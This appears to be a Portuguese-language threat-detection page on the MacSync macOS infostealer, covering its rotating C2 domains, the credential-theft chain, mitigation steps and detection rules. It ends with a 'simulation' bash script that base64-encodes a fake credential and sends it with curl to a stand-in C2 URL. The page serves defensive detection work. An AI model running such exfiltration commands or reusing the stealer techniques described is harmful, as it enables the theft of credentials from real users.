MacSync Stealer Usa Infraestrutura de C2 Rotativa
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
MacSync Stealer é um malware para macOS especializado em roubo de informações, oferecido através de um modelo de malware-como-serviço. Ele depende de um zsh carregador de múltiplos estágios que se conecta a um conjunto rotativo de domínios de comando e controle para exfiltrar informações roubadas, incluindo senhas e credenciais de carteiras de criptomoedas. O carregador transmite senhas em texto claro através de um parâmetro de consulta e envia um arquivo ZIP dos dados coletados em partes de 10 MiB. Sua estratégia de rotação de infraestrutura depende de uma chave API estática reutilizada em vários domínios, juntamente com um token hexadecimal por compilação.
Investigação
A RST Cloud detectou uma tentativa de download do domínio recém-registrado jacksonvillemma.com e capturou o carregador de Estágio 2 zsh em menos de uma hora. A análise estática expôs o token do carregador, chave API e trio de caminho de comando e controle: /curl, /dynamic, e /gate. Uma investigação adicional com base nesses padrões de URI revelou um grupo de aproximadamente doze domínios suspeitos de comando e controle ativos entre fevereiro e maio de 2026. Quatro desses domínios foram confirmados para compartilhar a mesma chave API, enquanto os outros foram ligados apenas pelo comportamento correspondente dos URI.
Mitigação
Os defensores devem bloquear todos os domínios de comando e controle MacSync conhecidos e monitorar os padrões de caminho de URL distintos usados pelo malware. Os registros de Proxy e DNS devem ser revisados para pedidos contendo /curl, /dynamic, e /gate, assim como para a string de agente de usuário abreviada semelhante ao Chrome no macOS vinculada ao carregador. As equipes de segurança também devem detectar a criação de /tmp/osalogging.zip e observar os zsh processos que executam base64 -D, gunzip, e eval em combinação.
Resposta
Se um indicador correspondente for encontrado, isole imediatamente o endpoint afetado, termine o zsh processo malicioso e colete a memória para análise de quaisquer cargas úteis AppleScript. Redefina as senhas de usuário expostas e invalide as credenciais comprometidas armazenadas no keychain do macOS. A lógica de detecção também deve ser atualizada com o token observado, chave API e padrões de agente de usuário para reduzir o risco de compromissos futuros.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Technique</b> – T1566 Phishing<br/><b>Description</b>: Malvertising delivers a script that runs curl to fetch the Stageu202f2 Zsh loader from a C2 domain."] class initial_access_phishing action tool_curl["<b>Tool</b> – curl<br/><b>Description</b>: Commandu2011line utility used to download the Stageu202f2 loader."] class tool_curl tool defense_obfuscate_compile["<b>Technique</b> – T1027.004 Compile After Delivery<br/><b>Description</b>: Zsh wrapper contains a base64u2011gzip payload that is decoded and executed with eval."] class defense_obfuscate_compile action defense_embedded_payload["<b>Technique</b> – T1027.009 Embedded Payloads<br/><b>Description</b>: Payload is embedded as a base64u2011encoded, gzipu2011compressed blob inside the wrapper."] class defense_embedded_payload action defense_stripped_payload["<b>Technique</b> – T1027.008 Stripped Payloads<br/><b>Description</b>: Wrapper is stripped of identifiable strings, relying on runtime decoding."] class defense_stripped_payload action defense_dynamic_api["<b>Technique</b> – T1027.007 Dynamic API Resolution<br/><b>Description</b>: HTTP requests include a static apiu2011key header and a custom truncated Useru2011Agent."] class defense_dynamic_api action execution_shared_modules["<b>Technique</b> – T1129 Shared Modules<br/><b>Description</b>: Decoded script is executed as a background Zsh function via eval."] class execution_shared_modules action process_zsh["<b>Process</b> – Zsh<br/><b>Description</b>: Shell used to run the decoded malicious function."] class process_zsh process cred_os_dumping["<b>Technique</b> – T1003 OS Credential Dumping<br/><b>Description</b>: AppleScript retrieved from C2 extracts macOS Keychain entries."] class cred_os_dumping action cred_browser["<b>Technique</b> – T1555.003 Credentials from Web Browsers<br/><b>Description</b>: Same AppleScript harvests stored credentials from Chromium browsers and cryptou2011wallet extensions."] class cred_browser action cred_unsecured_files["<b>Technique</b> – T1552.001 Unsecured Credentials in Files<br/><b>Description</b>: Harvested data written to /tmp/osalogging.zip before exfiltration."] class cred_unsecured_files action file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Description</b>: Zip archive containing collected credentials."] class file_archive file collection_archive["<b>Technique</b> – T1560 Archive Collected Data<br/><b>Description</b>: Data compressed into a zip archive for staging."] class collection_archive action command_control_dynamic["<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Malware contacts C2 using HTTP paths discovered via pattern matching."] class command_control_dynamic action cred_valid_accounts["<b>Technique</b> – T1078 Valid Accounts<br/><b>Description</b>: User macOS password sent in cleartext via u201c&pwd=u201d query parameter, giving attacker legitimate credentials."] class cred_valid_accounts action %% Connections initial_access_phishing –>|uses| tool_curl tool_curl –>|delivers| defense_obfuscate_compile defense_obfuscate_compile –>|includes| defense_embedded_payload defense_embedded_payload –>|includes| defense_stripped_payload defense_stripped_payload –>|uses| defense_dynamic_api defense_dynamic_api –>|enables| execution_shared_modules execution_shared_modules –>|executes| process_zsh process_zsh –>|runs| cred_os_dumping cred_os_dumping –>|runs| cred_browser cred_browser –>|writes to| cred_unsecured_files cred_unsecured_files –>|creates| file_archive file_archive –>|used by| collection_archive collection_archive –>|sent to| command_control_dynamic command_control_dynamic –>|provides| cred_valid_accounts "
Fluxo de Ataque
Detecções
Possível Manipulação de Strings Base64 Codificadas [MacOS] (via linha de comando)
Visualizar
Tentativa Suspeita de Execução de Curl [MacOS] (via linha de comando)
Visualizar
Arquivo Criado na Pasta Temporária do MacOS (via evento de arquivo)
Visualizar
IOCs (HashSha256) para detectar: Rotação de Infraestrutura C2 do MacSync Stealer
Visualizar
IOCs (HashSha1) para detectar: Rotação de Infraestrutura C2 do MacSync Stealer
Visualizar
IOCs (HashMd5) para detectar: Rotação de Infraestrutura C2 do MacSync Stealer
Visualizar
Detecção de Comunicação C2 do MacSync Stealer [Proxy]
Visualizar
Execução de Simulação
Pré-requisito: A verificação de pré-voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos de Ataque:
Um adversário implantou o binário do MacSync stealer em uma estação de trabalho macOS comprometida. O stealer extrai a senha do keychain do usuário atual no macOS, codifica-a em base64 e exfiltra por meio de uma solicitação HTTP GET através do proxy corporativo. A solicitação tem como alvo o ponto de extremidade C2 conhecidohttps://malicious.c2.net/dynamic?txd=<payload>. Como o proxy registra URLs completos, a regra de detecção verá odynamic?txd=subcadeia e emitirá um alerta. -
Script de Teste de Regressão:
#!/bin/bash # macsync_stealer_simulation.sh # Simula a comunicação C2 do MacSync stealer para acionar a regra de detecção. PROXY="http://proxy.corp.local:3128" C2_BASE="https://malicious.c2.net/dynamic?txd=" # 1️⃣ Extrair uma senha simulada (para fins de demonstração use o nome do usuário atual) PASSWORD="$(whoami):P@ssw0rd!" # 2️⃣ Encode a credencial em base64 (emula a etapa de codificação do MacSync) ENCODED=$(printf "%s" "$PASSWORD" | base64) # 3️⃣ Construa a URL maliciosa completa MALICIOUS_URL="${C2_BASE}${ENCODED}" # 4️⃣ Envie a solicitação através do proxy corporativo curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" echo "Simulação executada – payload enviado para $MALICIOUS_URL" -
Comandos de Limpeza:
# Remover quaisquer arquivos temporários (nenhum criado) e opcionalmente esvaziar o cache do proxy echo "Limpando artefatos da simulação..." # Se estiver usando Squid, limpar a URL do cache para evitar hits repetidos sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"